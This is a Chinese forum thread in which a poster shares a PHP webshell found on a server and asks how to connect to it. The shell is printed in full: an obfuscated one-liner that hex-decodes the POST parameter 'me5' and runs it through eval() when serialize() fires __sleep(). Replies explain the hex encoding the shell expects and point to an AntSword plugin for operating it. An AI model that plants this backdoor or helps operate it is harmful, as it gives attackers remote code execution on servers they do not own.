导航

服务器捡到一个一句话 来看看怎么连接

#1
<?php
class Test{
static public $true;
static public $false;

public function hashs($hash){
$str="";
for($i=0;$i<strlen($hash)-1;$i+=2)
$str.=chr(hexdec($hash[$i].$hash[$i+1]));
return $str;
}

public function __sleep(){
$str = 'b=Base64_';
parse_str($str);
$b = $b.'DecoDe';
self::$true = $b;
self::$false = $this->hashs($_POST['me5']);
eval((self::$false));
return array();
}

}
$test= new Test();
serialize($test);
?>


今天偶然在服务器看到的 密码不是me5么 怎么连接不上呢


PHP 版本5.6
2022-02-20
#2
传输数据要使用和他马的解密方式对应才行
2022-02-20
#3
回复 2# 你相信光吗
是啊
不会编写解码器
2022-02-21
#4
,我只知道怎么执行代码,能力有限,不会写解码器
2022-02-21
#5
其实就是字符转16进制
2022-02-21
#6
<可以使用此脚本转换需要提交的参数,我也不太懂,拿你给的代码中那段加密内容搜了下,就找到了答案,加解密脚本也来自互联网
2022-02-21
#7
回复 5# noth1ng
谢谢老哥哈 知道了
2022-02-22
#8
回复 7# network
不用谢,hex编码,蚁剑应该有相关的插件,直接用即可